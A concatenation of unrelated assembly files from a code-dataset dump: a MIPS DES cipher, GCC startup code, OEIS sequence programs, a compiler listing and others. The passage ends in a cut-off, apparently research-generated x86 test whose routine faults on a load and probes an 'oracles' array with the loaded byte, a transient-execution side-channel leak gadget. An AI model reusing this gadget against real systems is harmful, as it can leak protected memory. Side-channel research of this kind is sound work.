lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $v1,$v0,0
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v1
#---------------------------------------------------------
#CIPHER 1-----------------------------------------------------
cipher1:
addi $s7,$ra,0
#void Cipher(long long int msg,long long int key){
# int f=0;
# int keyr=(int)(key);
# int keyl=(int)(key>>32);
# int c0=0,d0=0;
# pKEY(keyl,keyr);
# c0=keyl;
# d0=keyr;
# int kl=0,kr=0;
# int r0=(int)(msg);
# int l0=(int)(msg>>32);
# pIP(l0,r0);
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$a1,0 #l
addi $s1,$a0,0 #r
jal pKEY
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $s5,$v0,0 #d0
addi $s4,$v1,0 #c0
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$a3,0 #l
addi $s1,$a2,0 #r
jal pIP
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $s3,$v0,0 #r0
addi $s2,$v1,0 #l0
chiper2:
#for (int i=1;i<17;i++){
# int t=2;
# if (i==1||i==2||i==9||i==16){
# t=1;
# }
# c0=shiftL(c0,28,t);
# d0=shiftL(d0,28,t);
# kl=c0;
# kr=d0;
# pSUBKEY(kl,kr);
# int pl0=l0;
# l0=r0;
# r0=pl0^funcF(r0,kl,kr);
#
#}
li $t9,1
cipher2_check:
slt $t2,$t9,17
beq $t2,$zero,cipher2_exit
cipher2_loop:
li $t7,1
li $t6,1
beq $t9,$t6,cipher2_do
li $t6,2
beq $t9,$t6,cipher2_do
li $t6,9
beq $t9,$t6,cipher2_do
li $t6,16
beq $t9,$t6,cipher2_do
li $t7,2
cipher2_do:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$t7,0 #rep
addi $s1,$zero,28 #size
addi $s2,$s4,0 #inp
jal shiftL
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $s4,$v1,0 #c=shiftl
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$t7,0 #rep
addi $s1,$zero,28 #size
addi $s2,$s5,0 #inp
jal shiftL
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $s5,$v1,0 #d=shiftl
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$s4,0 #kl
addi $s1,$s5,0 #kr
jal pSUBKEY
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
#$a0 #r
#$a1 #kl
#$a2 #kr
addi $a0,$s3,0
addi $a2,$v1,0
addi $a1,$v0,0
jal funcF
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $t5,$s2,0
addi $s2,$s3,0
xor $s3,$v1,$t5
addi $t9,$t9,1
j cipher2_check
cipher2_exit:
addi $v1,$s2,0
addi $v0,$s3,0
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
#$s0 #l
#$s1 #r
addi $s0,$v0,0
addi $s1,$v1,0
jal finalIP
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $ra,$s7,0
jr $ra
#OutPut:=v0,v1
#----------------------------------------------------------
exit:
addi $t1,$v0,0
li $v0, 4
la $a0,str
syscall
jal hex
addi $v1,$t1,0
jal hex
j exit2
hex:
li $t5,1
addi $s7,$ra,0
li $t3,0
li $t4,8
hex_check:
slt $t2,$t3,$t4
beq $t2,$zero,hex_exit
hex_do:
addi $s1,$v1,0
addi $s0,$v0,0
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t5,0 #b
addi $a0,$a1,3 #e
addi $a2,$s1,0 #in
jal getV
aa:
li $t5,10
bne $v1,$t5,bb
li $v0, 4
la $a0,al
syscall
j int2
bb:
li $t5,11
bne $v1,$t5,cc
li $v0, 4
la $a0,bl
syscall
j int2
cc:
li $t5,12
bne $v1,$t5,dd
li $v0, 4
la $a0,cl
syscall
j int2
dd:
li $t5,13
bne $v1,$t5,ee
li $v0, 4
la $a0,dl
syscall
j int2
ee:
li $t5,14
bne $v1,$t5,ff
li $v0, 4
la $a0,el
syscall
j int2
ff:
li $t5,15
bne $v1,$t5,int
li $v0, 4
la $a0,fl
syscall
j int2
int:
li $v0,1
move $a0,$v1
syscall
int2:
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $v1,$s1,0
addi $v0,$s0,0
addi $t3,$t3,1
addi $t5,$t5,4
j hex_check
hex_exit:
addi $ra,$s7,0
jal $ra
exit2:
li $v0, 4
la $a0,name
syscall
.data
.align 0
str:
.asciiz "Cipher Output HEX:=\n"
al:
.asciiz "a"
bl:
.asciiz "b"
cl:
.asciiz "c"
dl:
.asciiz "d"
el:
.asciiz "e"
fl:
.asciiz "f"
name:
.asciiz "\n.:: by Amin Faiz Khademi ::." | 15.036827 | 1,234 | 0.451298 |
f4bef6ff92b9db4a1f8817986a3e721f22ffd274 | 499 | asm | Assembly | tools-src/gnu/gcc/gcc/config/mips/crti.asm | enfoTek/tomato.linksys.e2000.nvram-mod | 2ce3a5217def49d6df7348522e2bfda702b56029 | [
"FSFAP"
] | 105 | 2015-03-02T16:58:34.000Z | 2022-03-28T07:17:49.000Z | tools-src/gnu/gcc/gcc/config/mips/crti.asm | unforgiven512/tomato | 96f09fab4929c6ddde5c9113f1b2476ad37133c4 | [
"FSFAP"
] | 145 | 2015-03-18T10:08:17.000Z | 2022-03-31T01:27:08.000Z | tools-src/gnu/gcc/gcc/config/mips/crti.asm | unforgiven512/tomato | 96f09fab4929c6ddde5c9113f1b2476ad37133c4 | [
"FSFAP"
] | 69 | 2015-01-02T10:45:56.000Z | 2021-09-06T07:52:13.000Z | /* 4 slots for argument spill area. 1 for cpreturn, 1 for stack.
Return spill offset of 40 and 20. Aligned to 16 bytes for n32. */
.section .init,"ax",@progbits
.globl _init
.type _init,@function
_init:
#ifdef __mips64
daddu $sp,$sp,-48
sd $31,40($sp)
#else
addu $sp,$sp,-32
sw $31,20($sp)
#endif
.section .fini,"ax",@progbits
.globl _fini
.type _fini,@function
_fini:
#ifdef __mips64
daddu $sp,$sp,-48
sd $31,40($sp)
#else
addu $sp,$sp,-32
sw $31,20($sp)
#endif
| 18.481481 | 70 | 0.639279 |
5120b110bd1c3238fc66c54d3f12cda7ae07e7ba | 105 | asm | Assembly | examples/show.asm | Textmode/TMVM | 3689fb6eec76c44748051d52edae26f96d68091f | [
"Zlib"
] | null | null | null | examples/show.asm | Textmode/TMVM | 3689fb6eec76c44748051d52edae26f96d68091f | [
"Zlib"
] | 1 | 2019-05-11T07:12:05.000Z | 2019-05-11T07:12:05.000Z | examples/show.asm | Textmode/TMVM | 3689fb6eec76c44748051d52edae26f96d68091f | [
"Zlib"
] | null | null | null | ## Program to show the number 42.
MOV 42,A ## 052a
SHW A ## 0a
HLT ## ff
##0x05, 0x2a, 0x0a, 0xff
| 13.125 | 33 | 0.580952 |
b5b407c2773da87c7999b3d2f115b28f59c9b18b | 1,104 | asm | Assembly | Object/Optimized/kernel/PcBios.asm | collinsmichael/spartan | e0f85504d45fea8337cc3f87c357e6ac4034d3ba | [
"MIT"
] | 16 | 2018-04-24T20:50:57.000Z | 2022-01-09T22:51:35.000Z | Object/Optimized/kernel/PcBios.asm | collinsmichael/spartan | e0f85504d45fea8337cc3f87c357e6ac4034d3ba | [
"MIT"
] | 1 | 2019-08-11T12:27:45.000Z | 2019-12-02T12:25:41.000Z | Object/Optimized/kernel/PcBios.asm | collinsmichael/spartan | e0f85504d45fea8337cc3f87c357e6ac4034d3ba | [
"MIT"
] | 4 | 2018-07-23T20:10:19.000Z | 2021-09-29T17:23:15.000Z | ; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.40629.0
TITLE C:\Users\cex123\Desktop\FYP\develop\spartan\Source\Kernel\BootLoad\PcBios\PcBios.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB OLDNAMES
PUBLIC _InstallPcBios
; Function compile flags: /Ogspy
; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\bootload\pcbios\pcbios.c
_TEXT SEGMENT
_base$ = 8 ; size = 4
_size$ = 12 ; size = 4
_InstallPcBios PROC
; 18 : if (!base || size < 320) return false;
cmp DWORD PTR _base$[esp-4], 0
je SHORT $LN1@InstallPcB
cmp DWORD PTR _size$[esp-4], 320 ; 00000140H
jb SHORT $LN1@InstallPcB
; 19 : movsd(base, (char*)0x00100100, 320/4);
push 80 ; 00000050H
push 1048832 ; 00100100H
push DWORD PTR _base$[esp+4]
call _movsd
; 20 : return true;
xor eax, eax
add esp, 12 ; 0000000cH
inc eax
; 21 : }
ret 0
$LN1@InstallPcB:
; 18 : if (!base || size < 320) return false;
xor eax, eax
; 21 : }
ret 0
_InstallPcBios ENDP
_TEXT ENDS
END
| 20.444444 | 90 | 0.640399 |
a0fdc4c5dc9f973344f64a7a1208d96d462481d4 | 1,855 | asm | Assembly | programs/oeis/168/A168582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/168/A168582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/168/A168582.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A168582: a(n) = (4*n^3 - 6*n^2 + 8*n + 9 + 3*(-1)^n)/12.
; 1,1,3,7,17,33,59,95,145,209,291,391,513,657,827,1023,1249,1505,1795,2119,2481,2881,3323,3807,4337,4913,5539,6215,6945,7729,8571,9471,10433,11457,12547,13703,14929,16225,17595,19039,20561,22161,23843,25607,27457,29393,31419,33535,35745,38049,40451,42951,45553,48257,51067,53983,57009,60145,63395,66759,70241,73841,77563,81407,85377,89473,93699,98055,102545,107169,111931,116831,121873,127057,132387,137863,143489,149265,155195,161279,167521,173921,180483,187207,194097,201153,208379,215775,223345,231089,239011,247111,255393,263857,272507,281343,290369,299585,308995,318599,328401,338401,348603,359007,369617,380433,391459,402695,414145,425809,437691,449791,462113,474657,487427,500423,513649,527105,540795,554719,568881,583281,597923,612807,627937,643313,658939,674815,690945,707329,723971,740871,758033,775457,793147,811103,829329,847825,866595,885639,904961,924561,944443,964607,985057,1005793,1026819,1048135,1069745,1091649,1113851,1136351,1159153,1182257,1205667,1229383,1253409,1277745,1302395,1327359,1352641,1378241,1404163,1430407,1456977,1483873,1511099,1538655,1566545,1594769,1623331,1652231,1681473,1711057,1740987,1771263,1801889,1832865,1864195,1895879,1927921,1960321,1993083,2026207,2059697,2093553,2127779,2162375,2197345,2232689,2268411,2304511,2340993,2377857,2415107,2452743,2490769,2529185,2567995,2607199,2646801,2686801,2727203,2768007,2809217,2850833,2892859,2935295,2978145,3021409,3065091,3109191,3153713,3198657,3244027,3289823,3336049,3382705,3429795,3477319,3525281,3573681,3622523,3671807,3721537,3771713,3822339,3873415,3924945,3976929,4029371,4082271,4135633,4189457,4243747,4298503,4353729,4409425,4465595,4522239,4579361,4636961,4695043,4753607,4812657,4872193,4932219,4992735,5053745,5115249
mul $0,2
mov $1,$0
bin $1,3
add $1,$0
div $1,8
mul $1,2
add $1,1
| 168.636364 | 1,729 | 0.828032 |
3ba64e7f017ae84d5f605dbdf0cfc88a66c7929e | 146 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_ram1.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_ram1.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_ram1.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: zel_ram1.asm
Type: file
Size: 65587
Last-Modified: '2016-05-13T04:27:09Z'
SHA-1: 346460F5965BA8BB8772BB181DDC8850CF7DB60A
Description: null
| 20.857143 | 47 | 0.815068 |
20532aaa88aaa0b6cd4c9a1926004b432f609306 | 695 | asm | Assembly | oeis/046/A046179.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/046/A046179.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/046/A046179.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A046179: Indices of hexagonal numbers that are also pentagonal.
; Submitted by Jon Maiga
; 1,143,27693,5372251,1042188953,202179284583,39221739020101,7608815190614963,1476070925240282673,286350150681424223551,55550453161271059086173,10776501563135904038493963,2090585752795204112408742601,405562859540706461903257570583,78677104165144258405119559950453,15262952645178445424131291372817251,2960934136060453268023065406766596193,574405959443082755551050557621346844143,111431795197821994123635785113134521167501,21617193862418023777229791261390475759651003
mul $0,2
mov $3,1
mov $4,1
lpb $0
sub $0,$3
add $4,2
mov $1,$4
mul $1,12
add $2,$1
add $4,$2
lpe
mov $0,$4
div $0,4
add $0,1
| 36.578947 | 465 | 0.840288 |
0ea0359664d429d5c2a6e665c636e5413ed649d9 | 6,689 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1_1798.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1_1798.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1_1798.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x5edf, %rsi
nop
nop
nop
nop
add $23763, %r13
and $0xffffffffffffffc0, %rsi
movaps (%rsi), %xmm1
vpextrq $1, %xmm1, %rbp
nop
nop
sub $50090, %rcx
lea addresses_WT_ht+0xf2df, %rsi
nop
nop
nop
nop
nop
cmp $28636, %rdi
mov (%rsi), %r9
nop
nop
and $35758, %r13
lea addresses_D_ht+0x83ef, %rcx
clflush (%rcx)
nop
nop
nop
nop
and $47231, %r14
movb $0x61, (%rcx)
nop
nop
dec %r13
lea addresses_D_ht+0xc25f, %r13
clflush (%r13)
nop
nop
and %rsi, %rsi
mov (%r13), %edi
nop
nop
nop
and $43496, %rdi
lea addresses_WC_ht+0x191a3, %rsi
clflush (%rsi)
nop
nop
nop
nop
dec %rcx
movb $0x61, (%rsi)
nop
and $33378, %r14
lea addresses_D_ht+0x12f5f, %rsi
nop
nop
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm1
movups %xmm1, (%rsi)
add $795, %r9
lea addresses_UC_ht+0x2a1f, %rdi
nop
nop
nop
cmp $43924, %rcx
movb $0x61, (%rdi)
nop
nop
cmp %rcx, %rcx
lea addresses_UC_ht+0xe1df, %r13
xor $58096, %r9
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
and $0xffffffffffffffc0, %r13
movntdq %xmm6, (%r13)
nop
and $26497, %r13
lea addresses_A_ht+0x117df, %rcx
dec %r13
vmovups (%rcx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r9
nop
add $64091, %rbp
lea addresses_A_ht+0x1ac3, %rcx
nop
nop
nop
nop
add %r14, %r14
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
movups %xmm7, (%rcx)
nop
add $46391, %rbp
lea addresses_A_ht+0x1145f, %r13
nop
mfence
mov (%r13), %cx
nop
nop
xor %rsi, %rsi
lea addresses_A_ht+0xfdf, %r13
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
movups %xmm6, (%r13)
nop
nop
nop
nop
dec %r14
lea addresses_D_ht+0x11b81, %r13
nop
nop
dec %rsi
movb (%r13), %r9b
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_WT_ht+0xb48f, %rdi
nop
cmp $59742, %r14
movl $0x61626364, (%rdi)
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0xcc79, %rsi
nop
nop
nop
xor %r13, %r13
mov (%rsi), %r14d
nop
cmp $32327, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %rbx
push %rdi
push %rdx
// Store
lea addresses_D+0x9f2d, %r12
nop
nop
nop
nop
and $31954, %r14
movl $0x51525354, (%r12)
dec %r8
// Store
lea addresses_A+0x1aedf, %rbx
nop
nop
nop
dec %r11
mov $0x5152535455565758, %r12
movq %r12, %xmm4
movntdq %xmm4, (%rbx)
add $53882, %r11
// Store
lea addresses_UC+0x9bf3, %rbx
nop
add %rdx, %rdx
mov $0x5152535455565758, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rbx)
nop
nop
nop
nop
nop
xor $50863, %rdx
// Store
mov $0x4373ba000000060f, %rbx
nop
nop
nop
nop
nop
inc %rdi
movl $0x51525354, (%rbx)
nop
nop
nop
and $16683, %r14
// Load
mov $0x2492cb00000008af, %r12
sub %r8, %r8
mov (%r12), %r11
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r11
nop
nop
sub %r11, %r11
// Store
lea addresses_US+0x1c7ab, %r12
dec %rdx
movl $0x51525354, (%r12)
nop
nop
inc %r8
// Store
lea addresses_PSE+0x5aff, %r8
xor $38548, %r12
mov $0x5152535455565758, %r11
movq %r11, %xmm3
vmovups %ymm3, (%r8)
nop
nop
sub %r14, %r14
// Store
lea addresses_A+0x1aedf, %rdx
nop
nop
nop
sub %rdi, %rdi
mov $0x5152535455565758, %r14
movq %r14, (%rdx)
nop
nop
nop
nop
and %r8, %r8
// Faulty Load
lea addresses_A+0x1aedf, %r11
nop
nop
nop
nop
nop
sub %rdi, %rdi
vmovups (%r11), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r8
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_A', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_NC', 'congruent': 3}}
